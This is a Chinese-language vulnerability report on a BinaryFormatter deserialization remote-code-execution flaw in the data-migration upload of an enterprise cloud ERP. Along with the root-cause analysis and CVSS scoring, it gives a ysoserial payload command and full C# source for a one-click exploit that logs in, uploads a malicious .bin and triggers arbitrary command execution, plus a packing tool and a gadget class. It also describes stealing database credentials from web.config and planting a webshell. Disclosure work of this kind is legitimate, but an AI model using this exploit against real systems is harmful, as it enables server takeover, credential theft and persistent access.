1. 产品介绍
某大型企业级云 ERP 系统,提供「数据迁移」功能( /mvc/DataTransfer/ ),用于在组织间导入/导出业务数据。该功能的导入实现中使用了 .NET 的 BinaryFormatter 反序列化,且未做类型白名单限制,存在远程代码执行风险。
2. 漏洞标题
门户侧数据迁移接口(DataTransfer)BinaryFormatter 反序列化导致远程代码执行漏洞
3. 漏洞描述
某门户侧 UFSoft.UBF.MVC.dll 中的 IoPackage.DecompressPackage(byte[]) 方法将外部上传的 .bin 文件解压后,直接交给 BinaryFormatter.Deserialize() 反序列化,且未设置 SerializationBinder 类型白名单。
具有「数据迁移」权限的管理员会话( ea )可上传恶意构造的 .bin 文件( BinaryFormatter 序列化的 gadget 对象图,外包 ZIP),反序列化过程中将实例化攻击者指定的任意 .NET 类型并触发其反序列化回调,最终以 IIS 应用池( iis apppool\u9 apppool clr4 )身份执行任意系统命令。
漏洞根因对应 CWE-502(不可信数据反序列化);同一产品此前已修复 CommandService 一处同类型缺陷,但门户侧该入口被遗漏。
4. 漏洞分析(根因定位)
4.1 根因
反编译 UFSoft.UBF.MVC.dll:
static IoPackage DecompressPackage(byte[] bytes)
{
BinaryFormatter formatter = new BinaryFormatter(); // ★ 未设置 Binder
byte[] decompressed = Decompress(bytes); // SharpZipLib 解包
MemoryStream stream = new MemoryStream(decompressed);
return (IoPackage)formatter.Deserialize(stream); // ★ 无限制反序列化
}
BinaryFormatter 反序列化按数据中的「类型全名」加载并实例化类型,SerializationBinder 是唯一可拦截「类型名 → Type」的钩子。未设置 Binder 即等价于允许加载任意类型。
4.2 触发链
POST /mvc/DataTransfer/Upload (multipart evil.bin, 文件名 .bin)
→ 存 {FileTempPath}\PackageImport{guid}.bin,返回 PackageUploadId
POST /mvc/DataTransfer/ImportPackage (PackageUploadId + DataManagerProjectId)
→ 读 .bin → IoPackage.DecompressPackage(bytes)
→ Decompress(SharpZipLib ZIP 解包) → BinaryFormatter.Deserialize(无 Binder)
→ 加载 gadget 类型 → 反序列化回调 → Process.Start("cmd","/c <命令>") ★ RCE
4.3 gadget 原理(TextFormattingRunProperties)
利用 WPF 的 ObjectDataProvider( ObjectType=System.Diagnostics.Process 、 MethodName="Start" 、 MethodParameters=["cmd","/c <命令>"] ),反序列化求值时反射调用 Process.Start ,将「类型实例化」转化为「命令执行」。
4.4 数据流
攻击者 .bin = ZIP(单 entry) 包裹 BinaryFormatter 流
BinaryFormatter 流 = gadget 对象图(TextFormattingRunProperties → ObjectDataProvider)
(IoPackage)Deserialize(...) 中的 cast 在反序列化之后才发生,因此 gadget 代码在 cast 前已执行;攻击者实际观察到的 InvalidCastException 正是 RCE 已发生的表现。
6. 漏洞等级
| 项目 |
值 |
| CVSS v3.1 分数 |
7.2(High) |
| CVSS v3.1 向量 |
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| 危害等级 |
高危 |
评分依据:网络可达(AV:N)、无交互(UI:N)、复杂度低(AC:L);作用域不变(S:U);需 ea 管理员会话(PR:H);影响为完整机密性/完整性/可用性(C:H/I:H/A:H,RCE)。
注:若评估场景中 ea 会话本身可通过其它低权限缺陷获取(漏洞链),PR 可降为 L,分数升至 8.8。
7. 复现过程
7.1 环境
- Windows Server / IIS(
.NET Framework 4.x )
- 工具:
ysoserial.net 、 MakeBin.exe 、 U9Exp.exe (本报告 PoC,见附录)
7.2 步骤
- 生成恶意载荷(ysoserial):
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "cmd /c whoami > C:\temp\pwned.txt" -o raw > payload.raw
- 打包成
.bin (ZIP 单 entry):
MakeBin.exe payload.raw evil.bin
- 以
ea 管理员登录后,上传并触发(一键):
Exp.exe --cmd "cmd /c whoami > C:\temp\pwned.txt" --url http://<target>/U9C --user EA --pwd <密码>
- 验证:目标机器
C:\temp\pwned.txt 内容为 iis apppool\u9 apppool clr4 ,即 RCE 成功。



7.3 攻击场景(已实测)
- 命令执行:
whoami 回显 IIS 应用池身份。
- 敏感数据窃取:
type web.config 泄露多组数据库明文连接串。
- 持久化:web 根可写,落 WebShell(
cmd.aspx )建立 HTTP 命令通道。
8. PoC
Exp.exe :一键完成「登录 → 建项目 → 上传 .bin → 触发反序列化 → RCE」,支持任意命令。
- 详细分步见附录《复现步骤.md》《攻击场景.md》。
附录 B:PoC 明文源代码
B.1 Exp.cs (远程利用 exp,完整源码)
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography;
using System.Collections.Specialized;
using System.Diagnostics;
using ICSharpCode.SharpZipLib.Zip;
// 门户侧 BinaryFormatter 反序列化 —— 远程利用 exp(官方授权测试)
class Exp {
static CookieContainer cc = new CookieContainer();
static string mvc = "http://localhost/U9C/mvc/";
static string ysoserialDefault = @"C:\temp\ysoserial-bin\Release\ysoserial.exe";
static string user = "EA", pwd = "123456";
static string gadget = "TextFormattingRunProperties";
static string outRaw = null;
static string fetchUrl = null;
static IWebProxy proxy = null;
static string ysoserial = null; // null = 自动探测
static int Main(string[] args) {
string cmd = null;
for (int i = 0; i < args.Length; i++) {
switch (args[i]) {
case "--cmd": cmd = args[++i]; break;
case "--url": { string u = args[++i].TrimEnd('/'); mvc = u + "/mvc/"; break; }
case "--user": user = args[++i]; break;
case "--pwd": pwd = args[++i]; break;
case "--gadget": gadget = args[++i]; break;
case "--ysoserial": ysoserial = args[++i]; break;
case "--out": outRaw = args[++i]; break;
case "--fetch": fetchUrl = args[++i]; break;
case "--proxy": {
string pu = args[++i];
if (!pu.StartsWith("http://", StringComparison.OrdinalIgnoreCase)) pu = "http://" + pu;
proxy = new ForceProxy(pu);
break;
}
default: Console.WriteLine("未知参数: " + args[i]); return 2;
}
}
if (cmd == null) { Console.WriteLine("用法: U9Exp.exe --cmd \"<命令>\" [--url http://host/U9C] ..."); return 2; }
// ysoserial 路径解析:--ysoserial 显式 > exp 同目录 > 默认路径
if (ysoserial == null) {
string local = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "ysoserial.exe");
if (File.Exists(local)) ysoserial = local;
else if (File.Exists(ysoserialDefault)) ysoserial = ysoserialDefault;
}
if (ysoserial == null || !File.Exists(ysoserial)) {
Console.WriteLine("[-] 找不到 ysoserial.exe,请 --ysoserial 指定或放到 exp 同目录");
return 3;
}
// 1) 生成 gadget 载荷(调 ysoserial)
byte[] raw = GenerateGadget(gadget, cmd);
// 2) 打包成 .bin(ZIP 单 entry)
byte[] bin = ZipPayload(raw);
// 3) 登录(RSA 加密密码)
if (!Login()) return 4;
// 4) 建/取项目(ImportPackage 需要已存在项目)
string projectId = GetOrCreateProject();
// 5) 上传恶意 .bin
string uploadId = Upload(bin);
// 6) 触发反序列化 → RCE
Import(uploadId, projectId);
return 0;
}
static byte[] GenerateGadget(string g, string command) {
var psi = new ProcessStartInfo(ysoserial);
psi.Arguments = "-f BinaryFormatter -g " + g + " -c \"" + command.Replace("\"", "\\\"") + "\" -o raw";
psi.RedirectStandardOutput = true; psi.RedirectStandardError = true;
psi.UseShellExecute = false; psi.CreateNoWindow = true;
using (var p = Process.Start(psi)) {
var ms = new MemoryStream();
p.StandardOutput.BaseStream.CopyTo(ms);
p.WaitForExit(30000);
return ms.ToArray();
}
}
static byte[] ZipPayload(byte[] content) {
using (var ms = new MemoryStream()) {
var zip = new ZipOutputStream(ms);
zip.IsStreamOwner = false;
var entry = new ZipEntry("a.bin") { Size = content.Length };
zip.PutNextEntry(entry); zip.Write(content, 0, content.Length);
zip.CloseEntry(); zip.Finish(); zip.Close();
return ms.ToArray();
}
}
static bool Login() {
string pk = Get(mvc + "Login/LoginPublicKey?timeStamp=" + Now());
string rk = Get(mvc + "Login/LoginRuntimePublicKey?timeStamp=" + Now());
string enc = RsaEncryptHex(pwd, Extract(pk, "Modulus"), Extract(pk, "Exponent"));
string run = RsaEncryptHex(Now() + pwd, Extract(rk, "Modulus"), Extract(rk, "Exponent"));
var f = new NameValueCollection();
f["IsLogin"] = "true"; f["CertSN"] = ""; f["LoginType"] = "Form";
f["Password"] = ""; f["EncryptPassword"] = enc; f["UserName"] = user;
f["EnterpriseName"] = ""; f["OrgName"] = ""; f["OrgID"] = "-10000";
f["EnterpriseID"] = "001"; f["Language"] = "zh-CN"; f["ScreenSize"] = "1920:1080";
f["ValidateCode"] = ""; f["ManipulateDate"] = "2026-08-21"; f["RemeberTime"] = "0";
f["lurl"] = ""; f["e"] = "m"; f["LoginTimes"] = "1"; f["RuntimePwd"] = run;
string r = Post(mvc + "Login/Login", f);
return r != null && r.Contains("\"StatusCode\":\"200\"");
}
static string GetOrCreateProject() {
string projResp = Get(mvc + "DataTransfer/GetDataManagerProject");
string id = PickGuid(projResp);
if (id != Guid.Empty.ToString()) return id;
string perm = "{\\\"RoleCode\\\":[\\\"R1\\\"],\\\"OrgCode\\\":\\\"-10000\\\",\\\"AuthType\\\":[1]}";
string json = "{\"Name\":\"poc\",\"ProjType\":0,\"Filters\":[{\"Code\":\"Permission\",\"ContentJson\":\"" + perm + "\"}]}";
PostJson(mvc + "DataTransfer/AddDataManagerProject", json);
return PickGuid(Get(mvc + "DataTransfer/GetDataManagerProject"));
}
static string Upload(byte[] bin) {
string url = mvc + "DataTransfer/Upload";
string boundary = "----U9" + Guid.NewGuid().ToString("N");
using (var ms = new MemoryStream()) {
Write(ms, "--" + boundary + "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"evil.bin\"\r\nContent-Type: application/octet-stream\r\n\r\n");
ms.Write(bin, 0, bin.Length);
Write(ms, "\r\n--" + boundary + "--\r\n");
var req = (HttpWebRequest)WebRequest.Create(url);
req.CookieContainer = cc; req.Method = "POST";
req.ContentType = "multipart/form-data; boundary=" + boundary;
req.ContentLength = ms.Length; ms.Position = 0;
using (var s = req.GetRequestStream()) ms.CopyTo(s);
return Extract(Read(req), "PackageUploadId");
}
}
static void Import(string uploadId, string projectId) {
string body = "PackageUploadId=" + uploadId + "&DataManagerProjectId=" + projectId;
var req = (HttpWebRequest)WebRequest.Create(mvc + "DataTransfer/ImportPackage");
req.CookieContainer = cc; req.Method = "POST";
req.ContentType = "application/x-www-form-urlencoded";
byte[] d = Encoding.UTF8.GetBytes(body);
req.ContentLength = d.Length;
using (var s = req.GetRequestStream()) s.Write(d, 0, d.Length);
Read(req); // 返回 HTML 错误页是预期(gadget cast 失败)
}
static string PickGuid(string resp) {
var m = System.Text.RegularExpressions.Regex.Match(resp, @"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}");
return m.Success ? m.Value : Guid.Empty.ToString();
}
static void Write(MemoryStream ms, string s) { byte[] b = Encoding.UTF8.GetBytes(s); ms.Write(b, 0, b.Length); }
static string Read(HttpWebRequest req) {
try {
using (var r = (HttpWebResponse)req.GetResponse())
using (var s = r.GetResponseStream())
using (var sr = new StreamReader(s)) return sr.ReadToEnd();
} catch (WebException we) {
if (we.Response != null)
using (var s = we.Response.GetResponseStream())
using (var sr = new StreamReader(s)) return sr.ReadToEnd();
return "";
}
}
static string Get(string url) {
var r = (HttpWebRequest)WebRequest.Create(url);
r.CookieContainer = cc; r.UserAgent = "Mozilla/5.0";
using (var resp = (HttpWebResponse)r.GetResponse())
using (var s = resp.GetResponseStream())
using (var sr = new StreamReader(s)) return sr.ReadToEnd();
}
static string Post(string url, NameValueCollection f) {
var r = (HttpWebRequest)WebRequest.Create(url);
r.CookieContainer = cc; r.Method = "POST"; r.UserAgent = "Mozilla/5.0";
r.ContentType = "application/x-www-form-urlencoded";
var sb = new StringBuilder();
foreach (string k in f) { if (sb.Length > 0) sb.Append('&'); sb.Append(Uri.EscapeDataString(k)).Append('=').Append(Uri.EscapeDataString(f[k] ?? "")); }
byte[] d = Encoding.UTF8.GetBytes(sb.ToString());
r.ContentLength = d.Length;
using (var s = r.GetRequestStream()) s.Write(d, 0, d.Length);
return Read(r);
}
static string PostJson(string url, string json) {
var req = (HttpWebRequest)WebRequest.Create(url);
req.CookieContainer = cc; req.Method = "POST";
req.ContentType = "application/json";
byte[] d = Encoding.UTF8.GetBytes(json);
req.ContentLength = d.Length;
using (var s = req.GetRequestStream()) s.Write(d, 0, d.Length);
return Read(req);
}
static long Now() { return (long)(DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds; }
static string Extract(string json, string key) {
int i = json.IndexOf("\"" + key + "\""); if (i < 0) return "";
int c = json.IndexOf(':', i) + 1; int s = json.IndexOf('"', c) + 1; int e = json.IndexOf('"', s);
return s <= 0 || e <= s ? "" : json.Substring(s, e - s);
}
static string RsaEncryptHex(string plain, string hexMod, string hexExp) {
var rsa = new RSACryptoServiceProvider(2048);
var p = new RSAParameters();
p.Modulus = HexToBytes(hexMod); p.Exponent = HexToBytes(hexExp);
rsa.ImportParameters(p);
return BytesToHex(rsa.Encrypt(Encoding.UTF8.GetBytes(plain), false)); // PKCS#1 v1.5
}
static byte[] HexToBytes(string hex) { if (hex.Length % 2 == 1) hex = "0" + hex; byte[] b = new byte[hex.Length / 2]; for (int i = 0; i < b.Length; i++) b[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16); return b; }
static string BytesToHex(byte[] b) { var sb = new StringBuilder(b.Length * 2); foreach (byte x in b) sb.Append(x.ToString("x2")); return sb.ToString(); }
}
// 强制代理:始终走代理(.NET 的 WebProxy 对 localhost/127.0.0.1 硬编码绕过)
class ForceProxy : IWebProxy {
private Uri proxyUri;
public ForceProxy(string url) { proxyUri = new Uri(url); }
public ICredentials Credentials { get; set; }
public Uri GetProxy(Uri destination) { return proxyUri; }
public bool IsBypassed(Uri host) { return false; }
}
B.2 MakeBin.cs (把 BF 载荷打成 .bin,ZIP 单 entry)
using System;
using System.IO;
using ICSharpCode.SharpZipLib.Zip;
// 把 ysoserial 原始 BF 载荷打包成 U9C DataTransfer 期望的 .bin(与 IoPackage.Compress 同格式)
class MakeBin {
static int Main(string[] args) {
if (args.Length < 2) { Console.WriteLine("usage: MakeBin <rawPayload> <out.bin>"); return 2; }
byte[] content = File.ReadAllBytes(args[0]);
using (var ms = new MemoryStream()) {
var zip = new ZipOutputStream(ms);
zip.IsStreamOwner = false;
var entry = new ZipEntry("a.bin") { Size = content.Length };
zip.PutNextEntry(entry);
zip.Write(content, 0, content.Length);
zip.CloseEntry(); zip.Finish(); zip.Close();
File.WriteAllBytes(args[1], ms.ToArray());
}
return 0;
}
}
B.3 反序列化回调 = 代码执行点的最小自证类型(本地 PoC 核心)
下面的 Evil 类型说明了漏洞本质: BinaryFormatter.Deserialize 会调用类型的 ISerializable 特殊构造函数(反序列化回调),攻击者只要把「命令执行」写进这个回调即可。
[Serializable]
public class Evil : ISerializable
{
public Evil() { }
// BinaryFormatter.Deserialize 时自动调用的「反序列化构造函数」= 代码执行点
protected Evil(SerializationInfo info, StreamingContext context)
{
// 任意命令执行:等价于 ysoserial gadget 的触发点
var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c whoami > C:\\temp\\poc_pwned.txt")
{
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (var p = System.Diagnostics.Process.Start(psi)) { p.WaitForExit(5000); }
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.AddValue("x", 0x1337);
}
}
真实攻击中,把上面的 Evil 换成 ysoserial 的 TextFormattingRunProperties gadget(无需目标已加载 Evil 类型,利用 WPF ObjectDataProvider 触发 Process.Start ),原理完全一致:反序列化回调 = 代码执行点。